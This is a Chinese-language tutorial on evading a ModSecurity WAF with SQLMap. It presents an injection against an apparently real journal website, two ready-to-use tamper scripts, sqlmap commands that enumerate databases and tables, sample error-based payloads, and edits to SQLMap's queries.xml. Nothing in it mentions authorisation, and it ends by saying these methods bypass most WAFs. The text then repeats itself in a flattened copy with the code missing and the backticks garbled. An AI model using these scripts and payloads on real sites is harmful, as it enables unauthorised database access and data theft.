一次注入实战引发的SQLMAP修改之路
字数 1685 2025-08-25 22:58:20

SQLMap高级修改与Tamper脚本编写实战指南

一、前言

SQLMap是渗透测试中最常用的SQL注入工具之一,但在实际渗透过程中,经常会遇到WAF拦截的情况。本文将通过一个实战案例,详细讲解如何通过修改SQLMap的payload和编写Tamper脚本来绕过WAF防护。

二、注入点Fuzz过程

1. 目标识别

  • 目标URL: http://www.xxxx.com/journals_desc.php?id=40
  • 测试方法:
    • 单引号测试: 报错
    • 单引号转义测试: id=0=0 回显正常
    • 确定为int型注入
    • order by 猜字段值为7

2. WAF识别与绕过

  • WAF类型: Modsec
  • 拦截测试:
    • union select → 拦截
    • union /**/ select → 拦截
    • /*!00000union*/ select → 不拦截 (内联注释成功绕过)
    • /*!50000union*/ select 1,2,3,4,5,6,7 → 成功

3. 类型转换问题

  • 发现int(强类型)与字段(弱类型)不匹配
  • 解决方案:
    1. 使用string方法(但单引号被转义,不可行)
    2. 采用报错注入

三、Tamper脚本编写实战

1. 过滤关键词识别

  • 被过滤的关键词: from 和函数 concat()

2. concat()绕过脚本

创建concat2concatcomment.py:

#!/usr/bin/env python2
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    return payload.replace("CONCAT", "CONCAT/**/")

3. from绕过脚本

创建from.py:

#!/usr/bin/env python2
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    return payload.replace("FROM", "/*!44144FROM*/")

4. 使用Tamper脚本

python sqlmap.py -u "https://www.xxxx.com/journals_desc.php?id=66" --level 3 --risk 3 -v 3 --tamper="from,concat2concatcomment" --force-ssl --technique=E --dbs

生成payload示例:

AND (SELECT 8403 /*!44144FROM*/(SELECT COUNT(*),CONCAT/**/(0x716b707071,(SELECT REPEAT(0x34,1024)),0x71627a7a71,FLOOR(RAND(0)*2))x /*!44144FROM*/ INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

四、XML文件修改实战

1. 发现问题

手工注入成功但SQLMap失败,对比payload发现:

  • 手工注入: information_schema.TABLES`` (有反引号)
  • SQLMap默认: information_schema.TABLES (无反引号)

2. MySQL特殊字符处理

  • tablecolumns在MySQL中是特殊字符
  • 反引号是SQL转义字符
  • 在MySQL中为避免冲突应给表名加反引号

3. 修改XML文件

路径: /xml/queries.xml
修改内容:

  • information_schema.tablesinformation_schema.tables``
  • information_schema.columnsinformation_schema.columns``

4. 修改后效果

python sqlmap.py -u "https://www.xxxx.com/journals_desc.php?id=66" --level 3 --risk 3 -v 3 --tamper="from,concat2concatcomment" --technique=E -D mililink_main --tables

生成payload示例:

66 AND (SELECT 9571 /*!44144FROM*/(SELECT COUNT(*),CONCAT/**/(0x716b7a6b71,(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) /*!44144FROM*/ INFORMATION_SCHEMA.`TABLES` WHERE table_schema IN (0x6d696c696c696e6b5f6d61696e) LIMIT 15,1),0x7171767071,FLOOR(RAND(0)*2))x /*!44144FROM*/ INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

五、SQLMap自定义payload方法总结

1. Tamper脚本编写

  • 固定格式:
    • __priority__ 定义优先级
    • dependencies() 函数
    • tamper(payload, **kwargs) 主函数
  • 简单替换示例:
    def tamper(payload, **kwargs):
        return payload.replace("KEYWORD", "MODIFIED_KEYWORD")
    

2. XML文件修改

  • 查询语句定义路径: \sqlmap\data\xml\queries.xml
  • 注入payload路径: \sqlmap\data\xml\payloads\
    • 如修改error-based注入: /xml/payload/error_based.xml

3. 修改原则

  1. 先尝试使用Tamper脚本
  2. 必要时修改XML中的基础payload
  3. 注意MySQL特殊字符处理
  4. 保持修改后的payload语法正确性

六、高级技巧

1. 内联注释使用

  • 格式: /*!50000union*/ select
  • 数字代表MySQL版本号,只有低于此版本才会执行注释内语句

2. 字符串编码技巧

  • 使用十六进制编码绕过过滤: database()0x6d696c696c696e6b5f6d61696e

3. 函数分割

  • 使用注释分割函数名和括号: concat/**/()

4. 强弱类型转换

  • 注意目标字段类型与测试payload类型的匹配
  • 必要时使用显式类型转换函数

通过以上方法,可以有效地绕过大多数WAF的检测,成功利用SQL注入漏洞。在实际渗透测试中,需要根据目标环境灵活组合这些技术。

SQLMap高级修改与Tamper脚本编写实战指南 一、前言 SQLMap是渗透测试中最常用的SQL注入工具之一,但在实际渗透过程中,经常会遇到WAF拦截的情况。本文将通过一个实战案例,详细讲解如何通过修改SQLMap的payload和编写Tamper脚本来绕过WAF防护。 二、注入点Fuzz过程 1. 目标识别 目标URL: http://www.xxxx.com/journals_desc.php?id=40 测试方法: 单引号测试: 报错 单引号转义测试: id=0=0 回显正常 确定为int型注入 order by 猜字段值为7 2. WAF识别与绕过 WAF类型: Modsec 拦截测试: union select → 拦截 union /**/ select → 拦截 /*!00000union*/ select → 不拦截 (内联注释成功绕过) /*!50000union*/ select 1,2,3,4,5,6,7 → 成功 3. 类型转换问题 发现int(强类型)与字段(弱类型)不匹配 解决方案: 使用string方法(但单引号被转义,不可行) 采用报错注入 三、Tamper脚本编写实战 1. 过滤关键词识别 被过滤的关键词: from 和函数 concat() 2. concat()绕过脚本 创建 concat2concatcomment.py : 3. from绕过脚本 创建 from.py : 4. 使用Tamper脚本 生成payload示例: 四、XML文件修改实战 1. 发现问题 手工注入成功但SQLMap失败,对比payload发现: 手工注入: information_schema. TABLES `` (有反引号) SQLMap默认: information_schema.TABLES (无反引号) 2. MySQL特殊字符处理 table 和 columns 在MySQL中是特殊字符 反引号是SQL转义字符 在MySQL中为避免冲突应给表名加反引号 3. 修改XML文件 路径: /xml/queries.xml 修改内容: information_schema.tables → information_schema. tables `` information_schema.columns → information_schema. columns `` 4. 修改后效果 生成payload示例: 五、SQLMap自定义payload方法总结 1. Tamper脚本编写 固定格式: __priority__ 定义优先级 dependencies() 函数 tamper(payload, **kwargs) 主函数 简单替换示例: 2. XML文件修改 查询语句定义路径: \sqlmap\data\xml\queries.xml 注入payload路径: \sqlmap\data\xml\payloads\ 如修改error-based注入: /xml/payload/error_based.xml 3. 修改原则 先尝试使用Tamper脚本 必要时修改XML中的基础payload 注意MySQL特殊字符处理 保持修改后的payload语法正确性 六、高级技巧 1. 内联注释使用 格式: /*!50000union*/ select 数字代表MySQL版本号,只有低于此版本才会执行注释内语句 2. 字符串编码技巧 使用十六进制编码绕过过滤: database() → 0x6d696c696c696e6b5f6d61696e 3. 函数分割 使用注释分割函数名和括号: concat/**/() 4. 强弱类型转换 注意目标字段类型与测试payload类型的匹配 必要时使用显式类型转换函数 通过以上方法,可以有效地绕过大多数WAF的检测,成功利用SQL注入漏洞。在实际渗透测试中,需要根据目标环境灵活组合这些技术。